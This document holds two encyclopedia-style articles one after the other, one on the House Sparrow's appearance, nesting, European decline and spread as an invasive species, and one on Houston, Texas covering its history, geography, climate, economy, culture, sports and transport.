          The House Sparrow (Passer domesticus) is a member of the Old World sparrow family Passeridae, and is, somewhat controversially, considered a relative of the Weaver Finch Family. It occurs naturally in most of Europe and much of Asia. It has also followed humans all over the world and has been intentionally or accidentally introduced to most of the Americas, sub-Saharan Africa, New Zealand and Australia as well as urban areas in other parts of the world. It is now the most widely distributed wild bird on the planet. In the United States it is also colloquially known as the English Sparrow to distinguish it from native species.


          Wherever people build, House Sparrows sooner or later come to share their abodes. Though described as tame and semi- domestic, neither is strictly true; humans provide food and home, not companionship. The House Sparrow remains wary of man.


          


          Description
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          This 14 to 16 centimetre long bird is abundant in temperate climates, but not universally common; in many hilly districts it is scarce. In cities, towns and villages, even around isolated farms, it can be the most abundant bird.


          The male House Sparrow has a grey crown, cheeks and underparts, black on the throat, upper breast and between the bill and eyes. The bill in summer is blue-black, and the legs are brown. In winter the plumage is dulled by pale edgings, and the bill is yellowish brown. The female has no black on head or throat, nor a grey crown; her upperparts are streaked with brown. The juveniles are deeper brown, and the white is replaced by buff; the beak is dull yellow. The House Sparrow is often confused with the smaller and slimmer Tree Sparrow, which, however, has a chestnut and not grey crown, two distinct wing bars, and a black patch on each cheek.


          The House Sparrow is gregarious at all seasons in its nesting colonies, when feeding and in communal roosts.


          Although the Sparrows' young are fed on the larvae of insects, often destructive species, this species eats seeds, including grain where it is available.


          In spring, flowers  especially those with yellow colours  are often eaten; crocuses, primroses and aconites seem to attract the house sparrow most. The bird will also hunt butterflies.


          The Sparrow's most common call is a short and incessant chirp. It also has a double call note phillip which originated the now obsolete name of "phillip sparrow". While the young are in their nests, the older birds utter a long churr. At least three broods are reared in the season.


          The common, but declining House Sparrow was surprisingly the most common garden bird in 2006, calculated by the Royal Society for the Protection of Birds (RSPB)


          


          Nesting


          The nesting site is varied; under eaves, in holes in masonry or rocks, in ivy or creepers on houses or banks, on the sea-cliffs, or in bushes in bays and inlets. When built in holes or ivy, the nest is an untidy litter of straw and rubbish, abundantly filled with feathers. Large, well-constructed domed nests are often built when the bird nests in trees or shrubs, especially in rural areas.


          The House Sparrow is quite aggressive in usurping the nesting sites of other birds, often forcibly evicting the previous occupants, and sometimes even building a new nest directly on top of another active nest with live nestlings. House Martins, Bluebirds, and Sand Martins are especially susceptible to this behaviour. However, though this tendency has occasionally been observed in its native habitats (particularly concerning House Martins), it appears to be far more common in habitats in which it has been introduced, such as North America.


          Five to six eggs, profusely dusted, speckled or blotched with black, brown or ash-grey on a blue-tinted or creamy white ground, are usual types of the very variable eggs. They are variable in size and shape as well as markings. Eggs are incubated by the female. The House Sparrow has the shortest incubation period of all the birds: 10-12 days and a female can lay 25 eggs a summer in New England.


          


          House Sparrows in Europe
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          In large parts of Europe, populations of House Sparrows are decreasing. In the Netherlands, the House Sparrow is even considered an endangered species, and the population of House Sparrows has dropped in half since the 1980s. It is however still the second most common breeding bird in the Netherlands, after the Blackbird. Currently the number of breeding pairs is estimated between half a million and one million. Similar precipitous drops in population have also been recorded in the United Kingdom.


          Various causes for its dramatic decrease in population have been proposed, one of the more surprising being the introduction of unleaded petrol, the combustion of which produces compounds such as methyl nitrite , a compound highly toxic for small insects, which form major part of young sparrows diet. Other theories consider reducing areas of free growing weeds, or reducing numbers of badly maintained buildings, which are important nesting opportunities for sparrows.


          


          House Sparrows as an invasive species


          


          House Sparrows in Australia


          House sparrows were introduced to Australia between 1863 and 1870. They were released first in Victoria and then to other areas including Sydney, Brisbane, and Hobart. They quickly became a major pest throughout eastern Australia, but have been prevented from establishing themselves in Western Australia where every found specimen is deliberately destroyed.


          


          House Sparrows in North America


          The large North American population is descended from birds deliberately imported from Britain in the late 19th century. They were introduced independently in a number of American cities in the years between 1850 and 1875 as a means of pest control. The mistake was realized after they were well established and by 1883 they were already considered pests and their introduction a disaster.


          While declining somewhat in their adopted homeland, House Sparrows are one of the most abundant birds in North America, with a population estimated at approximately 150 million.
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          In the United States and Canada, the House Sparrow is one of only three birds (the other two being the European Starling and the Rock Pigeon) not protected by law. As an invasive non-indigenous species, it is legal to kill House Sparrows and destroy their eggs at any time in most places in the United States. These three introduced species are now each more widespread and common on the continent than are any other birds. House Sparrows kill adult bluebirds and other native cavity nesters and their young, smash their eggs, and take over their nesting sites, and as such are major factors in the decline of bluebirds and other native cavity nesters in North America.


          Because the House Sparrow is smaller than the less aggressive native birds with which it competes, it is impossible to keep them out of nest boxes built for many native birds. Attempts to counter the effects of the House Sparrow on native bird populations include the trapping and shooting of adults and the destruction of their nests and eggs.
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              	Nickname(s): Space City
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              	Coordinates:
            


            
              	Country

              	United States of America
            


            
              	State

              	Texas
            


            
              	Counties

              	Harris

              Fort Bend

              Montgomery
            


            
              	Incorporated

              	June 5, 1837
            


            
              	Government
            


            
              	- Mayor

              	Bill White
            


            
              	Area
            


            
              	-City

              	601.7sqmi(1,558km)
            


            
              	-Land

              	579.4sqmi(1,501km)
            


            
              	- Water

              	22.3sqmi(57.7km)
            


            
              	Elevation

              	43ft (13m)
            


            
              	Population (2007)
            


            
              	-City

              	2,231,000 ( 4th)
            


            
              	- Density

              	3,853/sqmi(1,429/km)
            


            
              	- Urban

              	3,822,509
            


            
              	- Metro

              	5,628,101 ( 6th Largest)
            


            
              	- Demonym

              	Houstonian
            


            
              	Time zone

              	CST ( UTC-6)
            


            
              	-Summer( DST)

              	CDT ( UTC-5)
            


            
              	Area code(s)

              	713, 281, 832
            


            
              	FIPS code

              	48-35000
            


            
              	GNIS feature ID

              	1380948
            


            
              	Website: houstontx.gov
            

          


          Houston (pronounced /ˈhjuːstən/) is the fourth-largest city in the United States of America and the largest city within the state of Texas. As of the 2006 U.S. Census estimate, the city has a population of 2.2million within an area of 600square miles (1,600km). Houston is the seat of HarrisCounty and the economic centre of the HoustonSugar LandBaytown metropolitan areathe sixth-largest metropolitanarea in the U.S. with a population of around 5.6million.


          Houston was founded on August 30, 1836 by brothers Augustus Chapman Allen and John Kirby Allen on land near the banks of Buffalo Bayou. The city was incorporated on June 5, 1837 and named after then-President of the Republic of Texasformer General Sam Houstonwho had commanded at the Battle of SanJacinto, which took place 25miles (40km) east of where the city was established. The burgeoning port and railroad industry, combined with oil discovery in 1901, has induced continual surges in the city's population. In the mid-twentieth century, Houston became the home of the Texas Medical Centrethe world's largest concentration of healthcare and research institutionsand NASA's Johnson Space Centre, where Mission Control Centre is located.


          Houston's economy has a broad industrial base in the energy, manufacturing, aeronautics, transportation, and health care sectors; only New York City is home to more Fortune 500 headquarters. Commercially, Houston is ranked as a gamma world city, and the area is a leading centre for building oilfield equipment. The Port of Houston ranks first in the United States in international waterborne tonnage handled and second in total cargo tonnage handled. The city has a multicultural population with a large and growing international community. It is home to many cultural institutions and exhibitsattracting more than 7million visitors a year to the Houston Museum District. Houston has an active visual and performing arts scene in the TheatreDistrict and is one of few U.S. cities that offer year-round resident companies in all major performing arts.


          


          History
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          In August 1836, John Kirby Allen and Augustus Chapman Allen, two real estate entrepreneurs from New York City, purchased 6,642acres (27km) of land along Buffalo Bayou with the intent of founding a city. The Allen brothers decided to name the city after Sam Houston, the popular general of the Texans at the Battle of San Jacinto, who was elected President in September 1836.


          Houston was granted incorporation on June 5, 1837, with James S. Holman becoming its first mayor. In the same year, Houston became the county seat of Harrisburg County (now Harris County) and the temporary capital of the Republic of Texas. In 1840, the community established a chamber of commerce in part to promote shipping and waterborne business at the newly created port on Buffalo Bayou.
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          By 1860, Houston had emerged as a commercial and railroad hub for the export of cotton. Railroad spurs from the Texas inland converged in Houston, where they met rail lines to the ports of Galveston and Beaumont. During the American Civil War, Houston served as a headquarters for General John Bankhead Magruder, who used the city as an organization point for the Battle of Galveston. After the Civil War, Houston businessmen initiated efforts to widen the city's extensive system of bayous so the city could accept more commerce between downtown and the nearby port of Galveston. By 1890 Houston was the railroad centre of Texas.


          In 1900, after Galveston was struck by a devastating hurricane, efforts to make Houston into a viable deepwater port were accelerated. The following year, oil discovered at the Spindletop oil field near Beaumont prompted the development of the Texas petroleum industry. In 1902, President Theodore Roosevelt approved a $1million improvement project for the Houston Ship Channel. By 1910 the city's population had reached 78,800, almost doubling from a decade before. An integral part of the city were African Americans, who numbered 23,929 or nearly one-third of the residents. They were developing a strong professional class based then in the Fourth Ward.


          President Woodrow Wilson opened the deepwater Port of Houston in 1914, seven years after digging began. By 1930, Houston had become Texas's most populous city and Harris the most populous county.
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          When World War II started, tonnage levels at the port decreased and shipping activities were suspended; however, the war did provide economic benefits for the city. Petrochemical refineries and manufacturing plants were constructed along the ship channel because of the demand for petroleum and synthetic rubber products during the war. Ellington Field, initially built during World War I, was revitalized as an advanced training centre for bombardiers and navigators. The M. D. Anderson Foundation formed the Texas Medical Centre in 1945. After the war, Houston's economy reverted to being primarily port-driven. In 1948, several unincorporated areas were annexed into the city limits, which more than doubled the city's size, and Houston proper began to spread across the region.


          In 1950, the availability of air conditioning provided impetus for many companies to relocate to Houston resulting in an economic boom and producing a key shift in the city's economy toward the energy sector.
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          The increased production of the local shipbuilding industry during World War II spurred Houston's growth, as did the establishment in 1961 of NASA's "Manned Spacecraft Centre" (renamed the Lyndon B. Johnson Space Centre in 1973), which created the city's aerospace industry. The Astrodome, nicknamed the " Eighth Wonder of the World," opened in 1965 as the world's first indoor domed sports stadium.


          During the late 1970s, Houston experienced a population boom as people from Rust Belt states moved to Texas in large numbers. The new residents came for the numerous employment opportunities in the petroleum industry, created as a result of the Arab Oil Embargo.


          The population boom ended abruptly in the mid-1980s, as oil prices fell precipitously. The space industry also suffered in 1986 after the Space Shuttle Challenger exploded shortly after launch. The late 1980s saw a recession adversely affect the city's economy.


          Since the 1990s, as a result of the recession, Houston has made efforts to diversify its economy by focusing on aerospace and health care/biotechnology and by reducing its dependence on the petroleum industry. In 1997, Houstonians elected Lee P. Brown as the city's first African American mayor.
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          In June 2001, Tropical Storm Allison dumped up to 37inches (940mm) of rain on parts of Houston, causing the worst flooding in the city's history; the storm cost billions of dollars in damage and killed 20 people in Texas. Many neighborhoods and communities have changed since the storm. By December of that same year, Houston-based energy company Enron collapsed into the second-largest ever U.S. bankruptcy during an investigation surrounding fabricated partnerships that were allegedly used to hide debt and inflate profits.


          In August 2005, Houston became a shelter to more than 150,000 people from New Orleans who evacuated from Hurricane Katrina. One month later, approximately 2.5million Houston area residents evacuated when Hurricane Rita approached the Gulf Coast, leaving little damage to the Houston area. This event marked the largest urban evacuation in the history of the United States.


          


          Geography
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          According to the United States Census Bureau, the city has a total area of 601.7 square miles (1,558.4km); this comprises 579.4 square miles (1,500.7km) of land and 22.3 square miles (57.7km) of water.


          Most of Houston is located on the gulf coastal plain, and its vegetation is classified as temperate grassland and forest. Much of the city was built on forested land, marshes, swamp, or prairie, which are all still visible in surrounding areas. Flatness of the local terrain, when combined with urban sprawl, has made flooding a recurring problem for the city. Downtown stands about 50feet (15m) above sea level, and the highest point in far northwest Houston is about 125feet (38m) in elevation. The city once relied on groundwater for its needs, but land subsidence forced the city to turn to ground-level water sources such as LakeHouston and Lake Conroe.


          Houston has four major bayous passing through the city. Buffalo Bayou runs through downtown and the Houston Ship Channel, and has three tributaries: White Oak Bayou, which runs through the Heights neighbourhood and towards downtown; Braes Bayou, which runs along the Texas Medical Centre; and Sims Bayou, which runs through the south of Houston and downtown Houston. The ship channel continues past Galveston and then into the Gulf of Mexico.


          


          Geology


          Underpinning Houston's land surface are unconsolidated clays, clay shales, and poorly-cemented sands up to several miles deep. The region's geology developed from river deposits formed from the erosion of the Rocky Mountains. These sediments consist of a series of sands and clays deposited on decaying organic matter that, over time, transformed into oil and natural gas. Beneath the layers of sediment is a water-deposited layer of halite, a rock salt. The porous layers were compressed over time and forced upward. As it pushed upward, the salt dragged surrounding sediments into salt dome formations, often trapping oil and gas that seeped from the surrounding porous sands. The thick, rich, sometimes black, surface soil is suitable for rice farming in suburban outskirts where the city continues to grow.


          The Houston area has over 150 active faults (estimated to be 300 active faults) with an aggregate length of up to 310miles (500km), including the Long Point-Eureka Heights Fault System which runs through the centre of the city. There have been no significant historically recorded earthquakes in Houston, but researchers do not discount the possibility of such quakes occurring in the deeper past, nor in the future. Land in some communities southeast of Houston is sinking because water has been pumped out from the ground for many years. It may be associated with slip along faults; however, the slippage is slow and not considered an earthquake, where stationary faults must slip suddenly enough to create seismic waves. These faults also tend to move at a smooth rate in what is termed " fault creep," which further reduces the risk of an earthquake.


          


          Climate
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          Houston's climate is classified as humidsubtropical (Cfa in Kppen climate classification system). Spring supercell thunderstorms sometimes bring tornadoes to the area. Prevailing winds are from the south and southwest during most of the year, bringing heat across the continent from the deserts of Mexico and moisture from the Gulf of Mexico.


          During the summer months, it is common for the temperature to reach over 90F (32C), with an average of 99days per year above 90F (32C). However, the humidity results in a heat index higher than the actual temperature. Summer mornings average over 90percent relative humidity and approximately 60percent in the afternoon. Winds are often light in the summer and offer little relief, except near the immediate coast. To cope with the heat, people use air conditioning in nearly every vehicle and building in the city; in fact, in 1980 Houston was described as the "most air-conditioned place on earth". Scattered afternoon thunderstorms are common in the summer. The hottest temperature ever recorded in Houston was 109F (43C) on September 4, 2000.


          Winters in Houston are fairly temperate. The average high in January, the coldest month, is 63F (17C), while the average low is 45F (7C). Snowfall is generally rare. The last snowstorm to hit Houston was on December 24, 2004. The coldest temperature ever recorded in Houston was 5F (15C) on January 23, 1940. Houston receives a high amount of rainfall annually, averaging about 54inches a year. These rains tend to cause floods over portions of the city.


          Houston has excessive ozone levels and is ranked among the most ozone-polluted cities in the United States. Ground-level ozone, or smog, is Houstons predominant air pollution problem, with the American Lung Association rating the metropolitan area's ozone level as the 6th worst in the United States in 2006. The industries located along the ship channel are a major cause of the city's air pollution.


          



          
            
              	Weather averages for Houston
            


            
              	Month

              	Jan

              	Feb

              	Mar

              	Apr

              	May

              	Jun

              	Jul

              	Aug

              	Sep

              	Oct

              	Nov

              	Dec

              	Year
            


            
              	Record high F (C)

              	84 (29)

              	91 (33)

              	96 (36)

              	95 (35)

              	99 (37)

              	103 (39)

              	105 (41)

              	107 (42)

              	109 (43)

              	97 (36)

              	90 (32)

              	85 (29)

              	109 (43)
            


            
              	Average high F (C)

              	62.3 (17)

              	66.5 (19)

              	73.3 (23)

              	79.1 (26)

              	85.5 (30)

              	90.7 (33)

              	93.6 (34)

              	93.5 (34)

              	88.9 (32)

              	82.0 (28)

              	72.0 (22)

              	64.6 (18)

              	79.4 (26)
            


            
              	Average low F (C)

              	41.2 (5)

              	44.3 (7)

              	51.3 (11)

              	57.9 (14)

              	66.1 (19)

              	71.8 (22)

              	73.5 (23)

              	73.0 (23)

              	68.4 (20)

              	58.8 (15)

              	49.8 (10)

              	42.8 (6)

              	58.2 (15)
            


            
              	Record low F (C)

              	5 (-15)

              	14 (-10)

              	22 (-6)

              	31 (-1)

              	44 (7)

              	52 (11)

              	62 (17)

              	60 (16)

              	46 (8)

              	29 (-2)

              	19 (-7)

              	7 (-14)

              	5 (-15)
            


            
              	Precipitation inches (mm)

              	3.68 (93.5)

              	2.98 (75.7)

              	3.36 (85.3)

              	3.60 (91.4)

              	5.15 (130.8)

              	5.35 (135.9)

              	3.18 (80.8)

              	3.83 (97.3)

              	4.33 (110)

              	4.50 (114.3)

              	4.19 (106.4)

              	3.69 (93.7)

              	47.84 (1,215.1)
            


            
              	Source: National Weather Service June 2008
            

          


          


          Cityscape


          Houston was incorporated in 1837 under the ward system of representation. The ward designation is the progenitor of the nine current-day Houston City Council districts. Locations in Houston are generally classified as either being inside or outside the Interstate610 Loop. The inside encompasses the central business district and many residential neighborhoods that predate World War II. More recently, high-density residential areas have been developed within the loop. The city's outlying areas, suburbs and enclaves are located outside of the loop. Beltway 8 encircles the city another 5miles (8km) farther out.
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          Though Houston is the largest city in the United States without formal zoning regulations, it has developed similarly to other Sun Belt cities because the city's land use regulations and legal covenants have played a similar role. Regulations include mandatory lot size for single-family houses and requirements that parking be available to tenants and customers. Such restrictions have had mixed results. Though some have blamed the city's low density, urban sprawl, and lack of pedestrian-friendliness on these policies, the city's land use has also been credited with a bounty of affordable housing, sparing Houston the worst affects of the 2008 real estate crisis.


          Voters rejected efforts to have separate residential and commercial land-use districts in 1948, 1962, and 1993. Consequently, rather than a single central business district as the centre of the city's employment, multiple districts have grown throughout the city in addition to downtown which include Uptown, TexasMedicalCentre, Midtown, GreenwayPlaza, EnergyCorridor, Westchase, and Greenspoint.


          


          Government and politics
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          The city of Houston has a strong mayoral form of municipal government. Houston is a home rule city and all municipal elections in the state of Texas are nonpartisan. The City's elected officials are the mayor, city controller and 14 members of the city council. As of 2007, the mayor of Houston is William "Bill" White, a Democrat elected on a nonpartisan ballot who is serving his third term and final term (due to term limits). Houston's mayor serves as the city's chief administrator, executive officer, and official representative. He is responsible for the general management of the city and for seeing that all laws and ordinances are enforced. As the result of a 1991 referendum in Houston, a mayor is elected for a two-year term, and can be elected to as many as three consecutive terms.


          The current city council line-up of nine district based and five at large positions was based on a U.S. Justice Department mandate which took effect in 1979. At-large council members represent the entire city. Under the current city charter, if the population in the city limits goes past 2.1million residents, the current nine-member city council districts will be expanded with the addition of two city council districts.


          The city of Houston has been criticized for running the worst recycling program among the United States' 30 largest cities. In October 2008, the city will initiate a program where it will recycle heavy organic yard waste which is expected to salvage 90,000 tons annually, enough to fill the Chase Tower, the city's tallest structure.


          


          Crime


          Criminal Law is enforced by the Houston Police Department. Houston's murder rate ranked 11th of U.S. cities with a population over 250,000 in 2005. While nonviolent crime in the city dropped by 2percent in 2005 compared to 2004, the number of homicides rose by 23.5percent. Since 2005, Houston has been experiencing a spike in crime, which is due in part to an influx of people from New Orleans following Hurricane Katrina. After Katrina, Houston's murder rate increased 70percent in November and December 2005 compared to levels in 2004. The city recorded 336 murders in 2005, compared to 272 in 2004.


          Houston's homicide rate per 100,000 residents increased from 16.33 in 2005 to 17.24 in 2006. The number of murders in the city increased to 379 in 2006. In 1996, there were about 380 gangs with 8,000 members; of which 2,500 were juveniles.


          


          Economy
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          Houston is recognized worldwide for its energy industry  particularly for oil and natural gas  as well as for biomedical research and aeronautics. The ship channel is also a large part of Houston's economic base. Because of these strengths, Houston is designated as a gamma world city by the Globalization and World Cities Study Group and Network.


          Five of the six supermajor energy companies maintain a large base of operations in Houston (international headquarters of ConocoPhillips; US operational headquarters of Exxon-Mobil; US headquarters for international companies Shell Oil (US subsidiary of Royal Dutch Shell located in The Hague, Netherlands), and British Petroleum whose international headquarters are in London, England). Specifically, the headquarters of Shell Oil Company, the US affiliate of Royal Dutch Shell, is located at One Shell Plaza. While ExxonMobil maintains its small, global headquarters in Irving, Texas, its upstream and chemical divisions as well as most operational divisions, are located in Houston. Chevron has offices in Houston, having acquired a 40 story building intended to be the headquarters of Enron. The company's Chevron Pipe Line Company subsidiary is headquartered in Houston, and more divisions are being consolidated and moved to Houston each year. Houston is headquarters for the Marathon Oil Corporation and Citgo.


          Greater Houston is a leading centre for building oilfield equipment. Much of Houston's success as a petrochemical complex is due to its busy man-made ship channel, the Port of Houston. The port ranks first in the United States in international commerce, and is the tenth-largest port in the world. Unlike most places, where high oil and gasoline prices are seen as harmful to the economy, they are generally seen as beneficial for Houston as many are employed in the energy industry.


          The HoustonSugar LandBaytown MSA's Gross Area Product (GAP) in 2006 was $325.5billion, slightly larger than Austrias, Polands or Saudi Arabias Gross Domestic Product (GDP). When comparing Houston's economy to a national economy, only 21 countries other than the United States have a gross domestic product exceeding Houston's regional gross area product. Mining, which in Houston is almost entirely exploration and production of oil and gas, accounts for 11% of Houston's GAP; this is down from 21% in 1985. The reduced role of oil and gas in Houston's GAP reflects the rapid growth of other sectors, such as engineering services, health services, and manufacturing.


          Houston ranks second in employment growth rate and fourth in nominal employment growth among the 10 most populous metro areas in the U.S. The unemployment rate in the city was 3.8% in April 2008, the lowest level in eight years while the job growth rate was 2.8%.


          In 2006, the Houston metropolitan area ranked first in Texas and third in the U.S. within the Categoryof "Best Places for Business and Careers" by Forbes magazine. Forty foreign governments maintain trade and commercial offices here and the city has 23 active foreign chambers of commerce and trade associations. Twenty foreign banks representing 10 nations operate in Houston, providing financial assistance to the international community.


          In 2008, Houston received top ranking on Kiplinger's Personal Finance Best Cities of 2008 list which ranks cities on their local economy, employment opportunities, reasonable living costs and quality of life. The city ranked fourth for highest increase in the local technological innovation over the preceding 15 years, according to Forbes magazine.. In the same year, the city ranked second on the annual Fortune 500 list of company headquarters. and ranked first for Forbes Best Cities for College Graduates.


          


          Demographics
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          Houston is a diverse and international city, in part because of its many academic institutions and strong industries. Over 90 languages are spoken in the city. Houston has among the youngest populations in the nation, partly due to an influx of immigrants into Texas. The city has the third-largest Hispanic and third-largest Mexican population in the United States. An estimated 400,000 illegal immigrants reside in Houston. Houston has one of the largest South Asian (i.e., Indian and Pakistani) communities in the United States.


          As of the census of 2000, there were 1,953,631 people and the population density was 3,371.7 people per square mile (1,301.8/km). The racial makeup of the city was 49.27percent White, 25.31percent Black, 5.31percent Asian, 0.44percent American Indian, 0.06percent Pacific Islander, 16.46percent from some other race, and 3.15percent from two or more races. Persons of Hispanic originwho may be of any raceaccounted for 37 percent of the population while non-Hispanic whites made up 30.8 percent.


          Houston has a large population of immigrants from Asia, including the largest Vietnamese-American population in Texas and third-largest in the UnitedStates, with 85,000 people in 2006. Some parts of the city with high populations of Vietnamese and Chinese residents have Chinese and Vietnamese street signs, in addition to English ones. Houston has two Chinatowns: the original located in Downtown, and the more recent one north of Bellaire Boulevard in the southwest area of the city. The city has a Little Saigon in Midtown and Vietnamese businesses located in the southwest Houston Chinatown. A " Little India" community referred to as the "Harwin District" exists along Hillcroft.


          Houston has a large gay community concentrated primarily in Montrose, Neartown and HoustonHeights. It is estimated that the Houston metropolitan area has the twelfth-largest number of lesbian, gay and bisexual individuals in the United States.


          


          Culture
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          Houston is a multicultural city with a large and growing international community. The metropolitan area is home to an estimated 1.1million (21.4 percent) residents who were born outside the United States, with nearly two-thirds of the area's foreign-born population from south of the United StatesMexico border. Additionally, more than one in five foreign-born residents are from Asia. The city is home to the nations third largest concentration of consular offices, representing 86 countries.


          Houston received the official nickname of "Space City" in 1967 because it is the location of NASA's Lyndon B. Johnson Space Centre. Other nicknames often used by locals include " Bayou City," "MagnoliaCity," "Clutch City," and "H-Town."


          


          Arts and theatre
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          Houston has an active visual and performing arts scene. The Theatre District is located downtown and is home to nine major performing arts organizations and six performance halls. It is the second-largest concentration of theatre seats in a downtown area in the United States. Houston is one of few United States cities with permanent, professional, resident companies in all major performing arts disciplines: opera ( Houston Grand Opera), ballet ( Houston Ballet), music ( Houston Symphony Orchestra), and theatre ( The Alley Theatre). Houston is also home to many local folk artists, art groups and various smaller progressive arts organizations. Houston attracts many touring Broadway acts, concerts, shows, and exhibitions for a variety of interests.


          Houston holds the Bayou City Art Festival, which is considered to be one of the top five art festivals in the United States.


          The Museum District has many popular cultural institutions and exhibits, which attract more than 7million visitors a year. Notable facilities located in the district include The Museum of Fine Arts, Houston Museum of Natural Science, the Contemporary Arts Museum Houston, Holocaust Museum Houston, and the Houston Zoo. Located in the nearby Montrose area are TheMenilCollection and Rothko Chapel.
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          Bayou Bend, located in River Oaks, is a 14 acre facility of the Museum of Fine Arts that houses one of America's best collections of decorative art, paintings and furniture. Bayou Bend is the former home of Houston philanthropist Ima Hogg.


          Many venues scattered across Houston regularly host local and touring rock, blues, country, hip hop and Tejano musical acts. Unfortunately, there has never been a widely renowned music scene in Houston. Artists seem to relocate to other parts of the United States once attaining some level of success. A notable exception to the rule is Houston hip-hop, which celebrates the unique southern flavor and attitude of its roots. This has given rise to a strong, independent hip-hop music scene, influencing and influenced by the larger Southern hip hop and gangsta rap communities. Many Houstonian hip-hop artists have attained commercial success.


          


          Events


          Many annual events celebrate the diverse cultures of Houston. The largest and longest running is the annual Houston Livestock Show and Rodeo, held over 20days from late February to early March. Another large celebration is the annual night-time Houston Pride Parade, held at the end of June. Other annual events include the Houston Greek Festival, Art Car Parade, the Houston Auto Show and the Houston International Festival.


          


          Tourism and recreation


          
            [image: Reflection pool in Hermann Park]

            
              Reflection pool in Hermann Park
            

          


          Space Centre Houston is the official visitors centre of NASA's Lyndon B. Johnson Space Centre. Here one will find many interactive exhibits including moon rocks, a shuttle simulator, and presentations about the history of NASA's manned space flight program.


          The Theatre District is a 17-block area in the centre of downtown Houston that is home to the Bayou Place entertainment complex, restaurants, movies, plazas, and parks. Bayou Place is a large multilevel building containing full-service restaurants, bars, live music, billiards, and art house films. The Houston Verizon Wireless Theatre stages live concerts, stage plays, and stand-up comedy; and the Angelika Film Centre presents the latest in art and foreign and independent films.


          Houston is home to 337 parks including Hermann Park, which houses the Houston Zoo and the Houston Museum of Natural Science, Lake Houston Park, Memorial Park, Tranquility Park, Sesquicentennial Park, Discovery Green and Sam Houston Park which contains restored and reconstructed homes which were originally built between 1823 and 1905). Of the 10 most populous U.S. cities, Houston has the most total area of parks and green space: 56,405acres (228km). The city also has over 200 additional green spacestotaling over 19,600acres (79km) that are managed by the cityincluding the Houston Arboretum and Nature Centre. The Houston Civic Centre was replaced by the George R. Brown Convention Centreone of the nation's largestand the Jesse H. Jones Hall for the Performing Arts, home of the Houston Symphony Orchestra and Society for the Performing Arts. The Sam Houston Coliseum and Music Hall have been replaced by the Hobby Centre for the Performing Arts.


          Other tourist attractions include the Galleria (Texas's largest shopping mall located in the Uptown District), Old Market Square, the Downtown Aquarium, SplashTown and Sam Houston Race Park. The San Jacinto Battleground State Historic Site where the decisive battle of the Texas Revolution was fought is located on the Houston Ship channel east of the city; the park is also the location of the museum battleship USSTexas(BB-35).


          


          Sports
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          Houston has teams for nearly every major professional sport. The Houston Astros ( MLB), Houston Texans ( NFL), Houston Rockets ( NBA), Houston Dynamo ( MLS), Houston Comets ( WNBA), Houston Aeros ( AHL), Houston Wranglers ( WTT), Houston Takers ( ABA), and the Houston Energy ( WPFL) all call Houston home.


          Minute Maid Park (home of the Astros) and Toyota Centre (home of the Rockets, and Aeros) are located in a revived area of downtown. The city has the Reliant Astrodome, the first domed stadium in the world; it also holds the NFL's first retractable-roof stadium, Reliant Stadium. Other sports facilities in Houston include Hofheinz Pavilion, Reliant Arena (home of the Comets), and Robertson Stadium (both used for University of Houston collegiate sports, the latter also for the Houston Dynamo), and Rice Stadium (home of the Rice University Owls football team). The infrequently used Reliant Astrodome hosted World Wrestling Entertainment's WrestleMania X-Seven on April 1, 2001, where an attendance record of 67,925 was set. The city will host WrestleMania XXV at Reliant Stadium on April 5th, 2009.


          Houston has hosted major recent sporting events, including the 2004 Major League Baseball All-Star Game, the 2000 IHL All-Star Game, the 2005 World Series, the 2005 Big 12 Conference football championship game, the 2006 NBA All-Star Game, the U.S. Men's Clay Court Championships from 20012006, and the Tennis Masters Cup in 2003 and 2004, as well as the annual Shell Houston Open golf tournament. The city hosts the annual NCAA College Baseball Minute Maid Classic every February and NCAA football's Texas Bowl in December. Houston has hosted the Super Bowl championship game twice. Super Bowl VIII was played at Rice Stadium in 1974 and Super Bowl XXXVIII was played at Reliant Stadium in 2004. In early 2006, the Champ Car auto racing series returned to Houston for a yearly race, held on the streets of the Reliant Park complex.


          Architecture
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          Houston's skyline has been ranked fourth most impressive in the United States; it is the third-tallest skyline in the United States and one of the top 10 in the world. Houston has a seven-mile (11km) system of tunnels and skywalks linking buildings in downtown which contain shops, restaurants, and convenience stores. This system enables pedestrians to avoid the intense summer heat and heavy rain showers while walking from one building to another.


          In the 1960s, Downtown Houston consisted of a modest collection of mid-rise office structures, but has since grown into one of the largest skylines in the United States. Downtown was on the threshold of a boom in 1970 with huge projects being launched by real estate developers with the energy industry boom. A succession of skyscrapers were built throughout the 1970smany by real estate developer Gerald D. Hinesculminating with Houston's tallest skyscraper, the 75-floor, 1,002-foot (305m)-tall JPMorgan Chase Tower (formerly the Texas Commerce Tower), which was completed in 1982. It is the tallest structure in Texas, 10th-tallest building in the United States and the 30th-tallest skyscraper in the world based on height to roof. In 1983, the 71-floor, 992-foot (302m)-tall Wells Fargo Bank Plaza was completed, which became the second-tallest building in Houston and Texas. Based on height to roof, it is the 13th-tallest in the United States and the 36th-tallest in the world. As of 2006, downtown Houston had about 43million square feet (4,000,000m) of office space.


          Centered on Post Oak Boulevard and Westheimer Road, the Uptown District boomed during the 1970s and early 1980s when a collection of mid-rise office buildings, hotels, and retail developments appeared along Interstate 610 west. Uptown became one of the most impressive instances of an edge city. The highest achievement of Uptown was the construction of the 64-floor, 901-foot (275m)-tall, Philip Johnson and John Burgee designed landmark Williams Tower (known as the Transco Tower until 1999). At the time, it was believed to the be the world's tallest skyscraper outside of a central business district. The Uptown District is also home to other buildings designed by noted architects such as I. M. Pei, Csar Pelli, and Philip Johnson. In the late 1990s and early 2000s, there was a mini-boom of mid-rise and high-rise residential tower construction, with several over 30 stories tall. In 2002, Uptown had more than 23million square feet (2,100,000m) of office space with 16million square feet (1,500,000m) of Class A office space.


          


          Transportation
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          Houston's freeway system is made up of 575.5miles (926.2km) of freeways and expressways in a ten-county metropolitan area. Its highway system uses a hub-and-spoke freeway structure serviced by multiple loops. The innermost loop is Interstate 610, which encircles downtown, the medical centre, and many core neighborhoods with around a 10-mile (16km) diameter. Beltway 8 and its freeway core, the Sam Houston Tollway, form the middle loop at a diameter of roughly 25miles (40km). A proposed highway project, State Highway 99 (The Grand Parkway), would form a third loop outside of Houston. Currently, the completed portion of State Highway 99 runs from just north of Interstate 10, west of Houston, to U.S. Highway 59 in SugarLand, southwest of Houston, and was completed in 1994.


          Houston also lies along the route of the proposed Interstate 69 NAFTA superhighway that would link Canada, the U.S. industrial Midwest, Texas, and Mexico. Other spoke freeways either planned or under construction include the Fort Bend Parkway, Hardy Toll Road, Crosby Freeway, and the future Alvin Freeway.


